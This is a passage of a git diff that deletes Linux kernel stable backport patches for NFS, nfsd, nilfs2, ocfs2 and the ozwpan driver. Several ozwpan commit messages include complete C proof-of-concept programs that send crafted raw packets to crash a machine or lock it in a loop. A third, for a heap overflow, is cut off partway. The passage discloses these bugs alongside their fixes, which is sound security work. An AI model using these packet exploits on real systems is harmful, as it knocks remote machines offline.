warn_slowpath_common+0x8a/0xc0 - [<ffffffff810aca65>] warn_slowpath_fmt+0x55/0x70 - [<ffffffff810ff58f>] ? prepare_to_wait+0x2f/0x90 - [<ffffffff810ff58f>] ? prepare_to_wait+0x2f/0x90 - [<ffffffff810dd2ad>] __might_sleep+0xbd/0xd0 - [<ffffffff8124c973>] kmem_cache_alloc_trace+0x243/0x430 - [<ffffffff810d941e>] ? groups_alloc+0x3e/0x130 - [<ffffffff810d941e>] groups_alloc+0x3e/0x130 - [<ffffffffa0301b1e>] svcauth_unix_accept+0x16e/0x290 [sunrpc] - [<ffffffffa0300571>] svc_authenticate+0xe1/0xf0 [sunrpc] - [<ffffffffa02fc564>] svc_process_common+0x244/0x6a0 [sunrpc] - [<ffffffffa02fd044>] bc_svc_process+0x1c4/0x260 [sunrpc] - [<ffffffffa03d5478>] nfs41_callback_svc+0x128/0x1f0 [nfsv4] - [<ffffffff810ff970>] ? wait_woken+0xc0/0xc0 - [<ffffffffa03d5350>] ? nfs4_callback_svc+0x60/0x60 [nfsv4] - [<ffffffff810d45bf>] kthread+0x11f/0x140 - [<ffffffff810ea815>] ? local_clock+0x15/0x30 - [<ffffffff810d44a0>] ? kthread_create_on_node+0x250/0x250 - [<ffffffff81874bfc>] ret_from_fork+0x7c/0xb0 - [<ffffffff810d44a0>] ? kthread_create_on_node+0x250/0x250 - ---[ end trace 675220a11e30f4f2 ]--- - -nfs41_callback_svc does most of its work while in TASK_INTERRUPTIBLE, -which is just wrong. Fix that by finishing the wait immediately if we've -found that the list has something on it. - -Also, we don't expect this kthread to accept signals, so we should be -using a TASK_UNINTERRUPTIBLE sleep instead. That however, opens us up -hung task warnings from the watchdog, so have the schedule_timeout -wake up every 60s if there's no callback activity. - -Reported-by: "J. Bruce Fields" <bfields@fieldses.org> -Signed-off-by: Jeff Layton <jlayton@primarydata.com> -Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/nfs/callback.c | 8 +++++--- - 1 file changed, 5 insertions(+), 3 deletions(-) - ---- a/fs/nfs/callback.c -+++ b/fs/nfs/callback.c -@@ -149,22 +149,24 @@ nfs41_callback_svc(void *vrqstp) - set_freezable(); - - while (!kthread_should_stop()) { -- prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_INTERRUPTIBLE); -+ prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_UNINTERRUPTIBLE); - spin_lock_bh(&serv->sv_cb_lock); - if (!list_empty(&serv->sv_cb_list)) { - req = list_first_entry(&serv->sv_cb_list, - struct rpc_rqst, rq_bc_list); - list_del(&req->rq_bc_list); - spin_unlock_bh(&serv->sv_cb_lock); -+ finish_wait(&serv->sv_cb_waitq, &wq); - dprintk("Invoking bc_svc_process()\n"); - error = bc_svc_process(serv, req, rqstp); - dprintk("bc_svc_process() returned w/ error code= %d\n", - error); - } else { - spin_unlock_bh(&serv->sv_cb_lock); -- schedule(); -+ /* schedule_timeout to game the hung task watchdog */ -+ schedule_timeout(60 * HZ); -+ finish_wait(&serv->sv_cb_waitq, &wq); - } -- finish_wait(&serv->sv_cb_waitq, &wq); - } - return 0; - } diff --git a/patches/nfs-fix-high-load-average-due-to-callback-thread-sleeping.patch b/patches/nfs-fix-high-load-average-due-to-callback-thread-sleeping.patch deleted file mode 100644 index 981dbf6..0000000 --- a/patches/nfs-fix-high-load-average-due-to-callback-thread-sleeping.patch +++ /dev/null @@ -1,60 +0,0 @@ -From 5d05e54af3cdbb13cf19c557ff2184781b91a22c Mon Sep 17 00:00:00 2001 -From: Jeff Layton <jlayton@poochiereds.net> -Date: Fri, 20 Mar 2015 15:15:14 -0400 -Subject: nfs: fix high load average due to callback thread sleeping -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit 5d05e54af3cdbb13cf19c557ff2184781b91a22c upstream. - -Chuck pointed out a problem that crept in with commit 6ffa30d3f734 (nfs: -don't call blocking operations while !TASK_RUNNING). Linux counts tasks -in uninterruptible sleep against the load average, so this caused the -system's load average to be pinned at at least 1 when there was a -NFSv4.1+ mount active. - -Not a huge problem, but it's probably worth fixing before we get too -many complaints about it. This patch converts the code back to use -TASK_INTERRUPTIBLE sleep, simply has it flush any signals on each loop -iteration. In practice no one should really be signalling this thread at -all, so I think this is reasonably safe. - -With this change, there's also no need to game the hung task watchdog so -we can also convert the schedule_timeout call back to a normal schedule. - -Reported-by: Chuck Lever <chuck.lever@oracle.com> -Signed-off-by: Jeff Layton <jeff.layton@primarydata.com> -Tested-by: Chuck Lever <chuck.lever@oracle.com> -Fixes: commit 6ffa30d3f734 (“nfs: don't call blocking . . .”) -Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/nfs/callback.c | 6 +++--- - 1 file changed, 3 insertions(+), 3 deletions(-) - ---- a/fs/nfs/callback.c -+++ b/fs/nfs/callback.c -@@ -149,7 +149,7 @@ nfs41_callback_svc(void *vrqstp) - set_freezable(); - - while (!kthread_should_stop()) { -- prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_UNINTERRUPTIBLE); -+ prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_INTERRUPTIBLE); - spin_lock_bh(&serv->sv_cb_lock); - if (!list_empty(&serv->sv_cb_list)) { - req = list_first_entry(&serv->sv_cb_list, -@@ -163,10 +163,10 @@ nfs41_callback_svc(void *vrqstp) - error); - } else { - spin_unlock_bh(&serv->sv_cb_lock); -- /* schedule_timeout to game the hung task watchdog */ -- schedule_timeout(60 * HZ); -+ schedule(); - finish_wait(&serv->sv_cb_waitq, &wq); - } -+ flush_signals(current); - } - return 0; - } diff --git a/patches/nfsd-fix-nsfd-startup-race-triggering-bug_on.patch b/patches/nfsd-fix-nsfd-startup-race-triggering-bug_on.patch deleted file mode 100644 index 45a6d36..0000000 --- a/patches/nfsd-fix-nsfd-startup-race-triggering-bug_on.patch +++ /dev/null @@ -1,86 +0,0 @@ -From bb7ffbf29e76b89a86ca4c3ee0d4690641f2f772 Mon Sep 17 00:00:00 2001 -From: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com> -Date: Mon, 20 Apr 2015 18:00:08 +0200 -Subject: nfsd: fix nsfd startup race triggering BUG_ON - -commit bb7ffbf29e76b89a86ca4c3ee0d4690641f2f772 upstream. - -nfsd triggered a BUG_ON in net_generic(...) when rpc_pipefs_event(...) -in fs/nfsd/nfs4recover.c was called before assigning ntfsd_net_id. -The following was observed on a MIPS 32-core processor: -kernel: Call Trace: -kernel: [<ffffffffc00bc5e4>] rpc_pipefs_event+0x7c/0x158 [nfsd] -kernel: [<ffffffff8017a2a0>] notifier_call_chain+0x70/0xb8 -kernel: [<ffffffff8017a4e4>] __blocking_notifier_call_chain+0x4c/0x70 -kernel: [<ffffffff8053aff8>] rpc_fill_super+0xf8/0x1a0 -kernel: [<ffffffff8022204c>] mount_ns+0xb4/0xf0 -kernel: [<ffffffff80222b48>] mount_fs+0x50/0x1f8 -kernel: [<ffffffff8023dc00>] vfs_kern_mount+0x58/0xf0 -kernel: [<ffffffff802404ac>] do_mount+0x27c/0xa28 -kernel: [<ffffffff80240cf0>] SyS_mount+0x98/0xe8 -kernel: [<ffffffff80135d24>] handle_sys64+0x44/0x68 -kernel: -kernel: - Code: 0040f809 00000000 2e020001 <00020336> 3c12c00d - 3c02801a de100000 6442eb98 0040f809 -kernel: ---[ end trace 7471374335809536 ]--- - -Fixed this behaviour by calling register_pernet_subsys(&nfsd_net_ops) before -registering rpc_pipefs_event(...) with the notifier chain. - -Signed-off-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com> -Signed-off-by: Lorenzo Restelli <lorenzo.restelli.ext@nokia.com> -Reviewed-by: Kinlong Mee <kinglongmee@gmail.com> -Signed-off-by: J. Bruce Fields <bfields@redhat.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/nfsd/nfsctl.c | 16 ++++++++-------- - 1 file changed, 8 insertions(+), 8 deletions(-) - ---- a/fs/nfsd/nfsctl.c -+++ b/fs/nfsd/nfsctl.c -@@ -1163,15 +1163,15 @@ static int __init init_nfsd(void) - int retval; - printk(KERN_INFO "Installing knfsd (copyright (C) 1996 okir@monad.swb.de).\n"); - -- retval = register_cld_notifier(); -- if (retval) -- return retval; - retval = register_pernet_subsys(&nfsd_net_ops); - if (retval < 0) -- goto out_unregister_notifier; -- retval = nfsd4_init_slabs(); -+ return retval; -+ retval = register_cld_notifier(); - if (retval) - goto out_unregister_pernet; -+ retval = nfsd4_init_slabs(); -+ if (retval) -+ goto out_unregister_notifier; - nfs4_state_init(); - retval = nfsd_fault_inject_init(); /* nfsd fault injection controls */ - if (retval) -@@ -1209,10 +1209,10 @@ out_free_stat: - nfsd_fault_inject_cleanup(); - out_free_slabs: - nfsd4_free_slabs(); --out_unregister_pernet: -- unregister_pernet_subsys(&nfsd_net_ops); - out_unregister_notifier: - unregister_cld_notifier(); -+out_unregister_pernet: -+ unregister_pernet_subsys(&nfsd_net_ops); - return retval; - } - -@@ -1228,8 +1228,8 @@ static void __exit exit_nfsd(void) - nfsd4_free_slabs(); - nfsd_fault_inject_cleanup(); - unregister_filesystem(&nfsd_fs_type); -- unregister_pernet_subsys(&nfsd_net_ops); - unregister_cld_notifier(); -+ unregister_pernet_subsys(&nfsd_net_ops); - } - - MODULE_AUTHOR("Olaf Kirch <okir@monad.swb.de>"); diff --git a/patches/nfsd-fix-the-check-for-confirmed-openowner-in-nfs4_preprocess_stateid_op.patch b/patches/nfsd-fix-the-check-for-confirmed-openowner-in-nfs4_preprocess_stateid_op.patch deleted file mode 100644 index 2db289f..0000000 --- a/patches/nfsd-fix-the-check-for-confirmed-openowner-in-nfs4_preprocess_stateid_op.patch +++ /dev/null @@ -1,65 +0,0 @@ -From ebe9cb3bb13e7b9b281969cd279ce70834f7500f Mon Sep 17 00:00:00 2001 -From: Christoph Hellwig <hch@lst.de> -Date: Tue, 28 Apr 2015 15:41:15 +0200 -Subject: nfsd: fix the check for confirmed openowner in - nfs4_preprocess_stateid_op - -commit ebe9cb3bb13e7b9b281969cd279ce70834f7500f upstream. - -If we find a non-confirmed openowner we jump to exit the function, but do -not set an error value. Fix this by factoring out a helper to do the -check and properly set the error from nfsd4_validate_stateid. - -Signed-off-by: Christoph Hellwig <hch@lst.de> -Signed-off-by: J. Bruce Fields <bfields@redhat.com> -[lizf: adjust the changes for nfsd4_validate_stateid()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/nfsd/nfs4state.c | 19 +++++++++++-------- - 1 file changed, 11 insertions(+), 8 deletions(-) - ---- a/fs/nfsd/nfs4state.c -+++ b/fs/nfsd/nfs4state.c -@@ -3364,10 +3364,17 @@ static int check_stateid_generation(stat - return nfserr_old_stateid; - } - -+static __be32 nfsd4_check_openowner_confirmed(struct nfs4_ol_stateid *ols) -+{ -+ if (ols->st_stateowner->so_is_open_owner && -+ !(openowner(ols->st_stateowner)->oo_flags & NFS4_OO_CONFIRMED)) -+ return nfserr_bad_stateid; -+ return nfs_ok; -+} -+ - __be32 nfs4_validate_stateid(struct nfs4_client *cl, stateid_t *stateid) - { - struct nfs4_stid *s; -- struct nfs4_ol_stateid *ols; - __be32 status; - - if (STALE_STATEID(stateid)) -@@ -3381,11 +3388,7 @@ __be32 nfs4_validate_stateid(struct nfs4 - return status; - if (!(s->sc_type & (NFS4_OPEN_STID | NFS4_LOCK_STID))) - return nfs_ok; -- ols = openlockstateid(s); -- if (ols->st_stateowner->so_is_open_owner -- && !(openowner(ols->st_stateowner)->oo_flags & NFS4_OO_CONFIRMED)) -- return nfserr_bad_stateid; -- return nfs_ok; -+ return nfsd4_check_openowner_confirmed(openlockstateid(s)); - } - - static __be32 nfsd4_lookup_stateid(stateid_t *stateid, unsigned char typemask, struct nfs4_stid **s) -@@ -3452,8 +3455,8 @@ nfs4_preprocess_stateid_op(struct nfsd4_ - status = nfs4_check_fh(current_fh, stp); - if (status) - goto out; -- if (stp->st_stateowner->so_is_open_owner -- && !(openowner(stp->st_stateowner)->oo_flags & NFS4_OO_CONFIRMED)) -+ status = nfsd4_check_openowner_confirmed(stp); -+ if (status) - goto out; - status = nfs4_check_openmode(stp, flags); - if (status) diff --git a/patches/nilfs2-fix-sanity-check-of-btree-level-in-nilfs_btree_root_broken.patch b/patches/nilfs2-fix-sanity-check-of-btree-level-in-nilfs_btree_root_broken.patch deleted file mode 100644 index 07f5911..0000000 --- a/patches/nilfs2-fix-sanity-check-of-btree-level-in-nilfs_btree_root_broken.patch +++ /dev/null @@ -1,51 +0,0 @@ -From d8fd150fe3935e1692bf57c66691e17409ebb9c1 Mon Sep 17 00:00:00 2001 -From: Ryusuke Konishi <konishi.ryusuke@lab.ntt.co.jp> -Date: Tue, 5 May 2015 16:24:00 -0700 -Subject: nilfs2: fix sanity check of btree level in nilfs_btree_root_broken() - -commit d8fd150fe3935e1692bf57c66691e17409ebb9c1 upstream. - -The range check for b-tree level parameter in nilfs_btree_root_broken() -is wrong; it accepts the case of "level == NILFS_BTREE_LEVEL_MAX" even -though the level is limited to values in the range of 0 to -(NILFS_BTREE_LEVEL_MAX - 1). - -Since the level parameter is read from storage device and used to index -nilfs_btree_path array whose element count is NILFS_BTREE_LEVEL_MAX, it -can cause memory overrun during btree operations if the boundary value -is set to the level parameter on device. - -This fixes the broken sanity check and adds a comment to clarify that -the upper bound NILFS_BTREE_LEVEL_MAX is exclusive. - -Signed-off-by: Ryusuke Konishi <konishi.ryusuke@lab.ntt.co.jp> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/nilfs2/btree.c | 2 +- - include/linux/nilfs2_fs.h | 2 +- - 2 files changed, 2 insertions(+), 2 deletions(-) - ---- a/fs/nilfs2/btree.c -+++ b/fs/nilfs2/btree.c -@@ -388,7 +388,7 @@ static int nilfs_btree_root_broken(const - nchildren = nilfs_btree_node_get_nchildren(node); - - if (unlikely(level < NILFS_BTREE_LEVEL_NODE_MIN || -- level > NILFS_BTREE_LEVEL_MAX || -+ level >= NILFS_BTREE_LEVEL_MAX || - nchildren < 0 || - nchildren > NILFS_BTREE_ROOT_NCHILDREN_MAX)) { - pr_crit("NILFS: bad btree root (inode number=%lu): level = %d, flags = 0x%x, nchildren = %d\n", ---- a/include/linux/nilfs2_fs.h -+++ b/include/linux/nilfs2_fs.h -@@ -458,7 +458,7 @@ struct nilfs_btree_node { - /* level */ - #define NILFS_BTREE_LEVEL_DATA 0 - #define NILFS_BTREE_LEVEL_NODE_MIN (NILFS_BTREE_LEVEL_DATA + 1) --#define NILFS_BTREE_LEVEL_MAX 14 -+#define NILFS_BTREE_LEVEL_MAX 14 /* Max level (exclusive) */ - - /** - * struct nilfs_palloc_group_desc - block group descriptor diff --git a/patches/ocfs2-dlm-fix-race-between-purge-and-get-lock-resource.patch b/patches/ocfs2-dlm-fix-race-between-purge-and-get-lock-resource.patch deleted file mode 100644 index 27d03f0..0000000 --- a/patches/ocfs2-dlm-fix-race-between-purge-and-get-lock-resource.patch +++ /dev/null @@ -1,59 +0,0 @@ -From b1432a2a35565f538586774a03bf277c27fc267d Mon Sep 17 00:00:00 2001 -From: Junxiao Bi <junxiao.bi@oracle.com> -Date: Tue, 5 May 2015 16:24:02 -0700 -Subject: ocfs2: dlm: fix race between purge and get lock resource - -commit b1432a2a35565f538586774a03bf277c27fc267d upstream. - -There is a race window in dlm_get_lock_resource(), which may return a -lock resource which has been purged. This will cause the process to -hang forever in dlmlock() as the ast msg can't be handled due to its -lock resource not existing. - - dlm_get_lock_resource { - ... - spin_lock(&dlm->spinlock); - tmpres = __dlm_lookup_lockres_full(dlm, lockid, namelen, hash); - if (tmpres) { - spin_unlock(&dlm->spinlock); - >>>>>>>> race window, dlm_run_purge_list() may run and purge - the lock resource - spin_lock(&tmpres->spinlock); - ... - spin_unlock(&tmpres->spinlock); - } - } - -Signed-off-by: Junxiao Bi <junxiao.bi@oracle.com> -Cc: Joseph Qi <joseph.qi@huawei.com> -Cc: Mark Fasheh <mfasheh@suse.com> -Cc: Joel Becker <jlbec@evilplan.org> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/ocfs2/dlm/dlmmaster.c | 13 +++++++++++++ - 1 file changed, 13 insertions(+) - ---- a/fs/ocfs2/dlm/dlmmaster.c -+++ b/fs/ocfs2/dlm/dlmmaster.c -@@ -729,6 +729,19 @@ lookup: - if (tmpres) { - spin_unlock(&dlm->spinlock); - spin_lock(&tmpres->spinlock); -+ -+ /* -+ * Right after dlm spinlock was released, dlm_thread could have -+ * purged the lockres. Check if lockres got unhashed. If so -+ * start over. -+ */ -+ if (hlist_unhashed(&tmpres->hash_node)) { -+ spin_unlock(&tmpres->spinlock); -+ dlm_lockres_put(tmpres); -+ tmpres = NULL; -+ goto lookup; -+ } -+ - /* Wait on the thread that is mastering the resource */ - if (tmpres->owner == DLM_LOCK_RES_OWNER_UNKNOWN) { - __dlm_wait_on_lockres(tmpres); diff --git a/patches/ozwpan-divide-by-zero-leading-to-panic.patch b/patches/ozwpan-divide-by-zero-leading-to-panic.patch deleted file mode 100644 index e06d43c..0000000 --- a/patches/ozwpan-divide-by-zero-leading-to-panic.patch +++ /dev/null @@ -1,179 +0,0 @@ -From 04bf464a5dfd9ade0dda918e44366c2c61fce80b Mon Sep 17 00:00:00 2001 -From: "Jason A. Donenfeld" <Jason@zx2c4.com> -Date: Fri, 29 May 2015 13:07:00 +0200 -Subject: ozwpan: divide-by-zero leading to panic - -commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. - -A network supplied parameter was not checked before division, leading to -a divide-by-zero. Since this happens in the softirq path, it leads to a -crash. A PoC follows below, which requires the ozprotocol.h file from -this module. - -=-=-=-=-=-= - - #include <arpa/inet.h> - #include <linux/if_packet.h> - #include <net/if.h> - #include <netinet/ether.h> - #include <stdio.h> - #include <string.h> - #include <stdlib.h> - #include <endian.h> - #include <sys/ioctl.h> - #include <sys/socket.h> - - #define u8 uint8_t - #define u16 uint16_t - #define u32 uint32_t - #define __packed __attribute__((__packed__)) - #include "ozprotocol.h" - -static int hex2num(char c) -{ - if (c >= '0' && c <= '9') - return c - '0'; - if (c >= 'a' && c <= 'f') - return c - 'a' + 10; - if (c >= 'A' && c <= 'F') - return c - 'A' + 10; - return -1; -} -static int hwaddr_aton(const char *txt, uint8_t *addr) -{ - int i; - for (i = 0; i < 6; i++) { - int a, b; - a = hex2num(*txt++); - if (a < 0) - return -1; - b = hex2num(*txt++); - if (b < 0) - return -1; - *addr++ = (a << 4) | b; - if (i < 5 && *txt++ != ':') - return -1; - } - return 0; -} - -int main(int argc, char *argv[]) -{ - if (argc < 3) { - fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); - return 1; - } - - uint8_t dest_mac[6]; - if (hwaddr_aton(argv[2], dest_mac)) { - fprintf(stderr, "Invalid mac address.\n"); - return 1; - } - - int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); - if (sockfd < 0) { - perror("socket"); - return 1; - } - - struct ifreq if_idx; - int interface_index; - strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); - if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { - perror("SIOCGIFINDEX"); - return 1; - } - interface_index = if_idx.ifr_ifindex; - if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { - perror("SIOCGIFHWADDR"); - return 1; - } - uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; - - struct { - struct ether_header ether_header; - struct oz_hdr oz_hdr; - struct oz_elt oz_elt; - struct oz_elt_connect_req oz_elt_connect_req; - struct oz_elt oz_elt2; - struct oz_multiple_fixed oz_multiple_fixed; - } __packed packet = { - .ether_header = { - .ether_type = htons(OZ_ETHERTYPE), - .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, - .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }, - .oz_hdr = { - .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), - .last_pkt_num = 0, - .pkt_num = htole32(0) - }, - .oz_elt = { - .type = OZ_ELT_CONNECT_REQ, - .length = sizeof(struct oz_elt_connect_req) - }, - .oz_elt_connect_req = { - .mode = 0, - .resv1 = {0}, - .pd_info = 0, - .session_id = 0, - .presleep = 0, - .ms_isoc_latency = 0, - .host_vendor = 0, - .keep_alive = 0, - .apps = htole16((1 << OZ_APPID_USB) | 0x1), - .max_len_div16 = 0, - .ms_per_isoc = 0, - .up_audio_buf = 0, - .ms_per_elt = 0 - }, - .oz_elt2 = { - .type = OZ_ELT_APP_DATA, - .length = sizeof(struct oz_multiple_fixed) - }, - .oz_multiple_fixed = { - .app_id = OZ_APPID_USB, - .elt_seq_num = 0, - .type = OZ_USB_ENDPOINT_DATA, - .endpoint = 0, - .format = OZ_DATA_F_MULTIPLE_FIXED, - .unit_size = 0, - .data = {0} - } - }; - - struct sockaddr_ll socket_address = { - .sll_ifindex = interface_index, - .sll_halen = ETH_ALEN, - .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }; - - if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { - perror("sendto"); - return 1; - } - return 0; -} - -Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> -Acked-by: Dan Carpenter <dan.carpenter@oracle.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- - 1 file changed, 4 insertions(+), 1 deletion(-) - ---- a/drivers/staging/ozwpan/ozusbsvc1.c -+++ b/drivers/staging/ozwpan/ozusbsvc1.c -@@ -314,7 +314,10 @@ void oz_usb_handle_ep_data(struct oz_usb - struct oz_multiple_fixed *body = - (struct oz_multiple_fixed *)data_hdr; - u8 *data = body->data; -- int n = (len - sizeof(struct oz_multiple_fixed)+1) -+ int n; -+ if (!body->unit_size) -+ break; -+ n = (len - sizeof(struct oz_multiple_fixed)+1) - / body->unit_size; - while (n--) { - oz_hcd_data_ind(usb_ctx->hport, body->endpoint, diff --git a/patches/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch b/patches/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch deleted file mode 100644 index 95872d8..0000000 --- a/patches/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch +++ /dev/null @@ -1,184 +0,0 @@ -From 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 Mon Sep 17 00:00:00 2001 -From: "Jason A. Donenfeld" <Jason@zx2c4.com> -Date: Fri, 29 May 2015 13:07:01 +0200 -Subject: ozwpan: unchecked signed subtraction leads to DoS - -commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. - -The subtraction here was using a signed integer and did not have any -bounds checking at all. This commit adds proper bounds checking, made -easy by use of an unsigned integer. This way, a single packet won't be -able to remotely trigger a massive loop, locking up the system for a -considerable amount of time. A PoC follows below, which requires -ozprotocol.h from this module. - -=-=-=-=-=-= - - #include <arpa/inet.h> - #include <linux/if_packet.h> - #include <net/if.h> - #include <netinet/ether.h> - #include <stdio.h> - #include <string.h> - #include <stdlib.h> - #include <endian.h> - #include <sys/ioctl.h> - #include <sys/socket.h> - - #define u8 uint8_t - #define u16 uint16_t - #define u32 uint32_t - #define __packed __attribute__((__packed__)) - #include "ozprotocol.h" - -static int hex2num(char c) -{ - if (c >= '0' && c <= '9') - return c - '0'; - if (c >= 'a' && c <= 'f') - return c - 'a' + 10; - if (c >= 'A' && c <= 'F') - return c - 'A' + 10; - return -1; -} -static int hwaddr_aton(const char *txt, uint8_t *addr) -{ - int i; - for (i = 0; i < 6; i++) { - int a, b; - a = hex2num(*txt++); - if (a < 0) - return -1; - b = hex2num(*txt++); - if (b < 0) - return -1; - *addr++ = (a << 4) | b; - if (i < 5 && *txt++ != ':') - return -1; - } - return 0; -} - -int main(int argc, char *argv[]) -{ - if (argc < 3) { - fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); - return 1; - } - - uint8_t dest_mac[6]; - if (hwaddr_aton(argv[2], dest_mac)) { - fprintf(stderr, "Invalid mac address.\n"); - return 1; - } - - int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); - if (sockfd < 0) { - perror("socket"); - return 1; - } - - struct ifreq if_idx; - int interface_index; - strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); - if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { - perror("SIOCGIFINDEX"); - return 1; - } - interface_index = if_idx.ifr_ifindex; - if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { - perror("SIOCGIFHWADDR"); - return 1; - } - uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; - - struct { - struct ether_header ether_header; - struct oz_hdr oz_hdr; - struct oz_elt oz_elt; - struct oz_elt_connect_req oz_elt_connect_req; - struct oz_elt oz_elt2; - struct oz_multiple_fixed oz_multiple_fixed; - } __packed packet = { - .ether_header = { - .ether_type = htons(OZ_ETHERTYPE), - .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, - .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }, - .oz_hdr = { - .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), - .last_pkt_num = 0, - .pkt_num = htole32(0) - }, - .oz_elt = { - .type = OZ_ELT_CONNECT_REQ, - .length = sizeof(struct oz_elt_connect_req) - }, - .oz_elt_connect_req = { - .mode = 0, - .resv1 = {0}, - .pd_info = 0, - .session_id = 0, - .presleep = 0, - .ms_isoc_latency = 0, - .host_vendor = 0, - .keep_alive = 0, - .apps = htole16((1 << OZ_APPID_USB) | 0x1), - .max_len_div16 = 0, - .ms_per_isoc = 0, - .up_audio_buf = 0, - .ms_per_elt = 0 - }, - .oz_elt2 = { - .type = OZ_ELT_APP_DATA, - .length = sizeof(struct oz_multiple_fixed) - 3 - }, - .oz_multiple_fixed = { - .app_id = OZ_APPID_USB, - .elt_seq_num = 0, - .type = OZ_USB_ENDPOINT_DATA, - .endpoint = 0, - .format = OZ_DATA_F_MULTIPLE_FIXED, - .unit_size = 1, - .data = {0} - } - }; - - struct sockaddr_ll socket_address = { - .sll_ifindex = interface_index, - .sll_halen = ETH_ALEN, - .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }; - - if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { - perror("sendto"); - return 1; - } - return 0; -} - -Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> -Acked-by: Dan Carpenter <dan.carpenter@oracle.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- - 1 file changed, 4 insertions(+), 3 deletions(-) - ---- a/drivers/staging/ozwpan/ozusbsvc1.c -+++ b/drivers/staging/ozwpan/ozusbsvc1.c -@@ -314,10 +314,11 @@ void oz_usb_handle_ep_data(struct oz_usb - struct oz_multiple_fixed *body = - (struct oz_multiple_fixed *)data_hdr; - u8 *data = body->data; -- int n; -- if (!body->unit_size) -+ unsigned int n; -+ if (!body->unit_size || -+ len < sizeof(struct oz_multiple_fixed) - 1) - break; -- n = (len - sizeof(struct oz_multiple_fixed)+1) -+ n = (len - (sizeof(struct oz_multiple_fixed) - 1)) - / body->unit_size; - while (n--) { - oz_hcd_data_ind(usb_ctx->hport, body->endpoint, diff --git a/patches/ozwpan-use-proper-check-to-prevent-heap-overflow.patch b/patches/ozwpan-use-proper-check-to-prevent-heap-overflow.patch deleted file mode 100644 index 4290ff7..0000000 --- a/patches/ozwpan-use-proper-check-to-prevent-heap-overflow.patch +++ /dev/null @@ -1,213 +0,0 @@ -From d114b9fe78c8d6fc6e70808c2092aa307c36dc8e Mon Sep 17 00:00:00 2001 -From: "Jason A. Donenfeld" <Jason@zx2c4.com> -Date: Fri, 29 May 2015 13:06:58 +0200 -Subject: ozwpan: Use proper check to prevent heap overflow - -commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. - -Since elt->length is a u8, we can make this variable a u8. Then we can -do proper bounds checking more easily. Without this, a potentially -negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, -resulting in a remotely exploitable heap overflow with network -supplied data. - -This could result in remote code execution. A PoC which obtains DoS -follows below. It requires the ozprotocol.h file from this module. - -=-=-=-=-=-= - - #include <arpa/inet.h> - #include <linux/if_packet.h> - #include <net/if.h> - #include <netinet/ether.h> - #include <stdio.h> - #include <string.h> - #include <stdlib.h> - #include <endian.h> - #include <sys/ioctl.h> - #include <sys/socket.h> - - #define u8 uint8_t - #define u16 uint16_t - #define 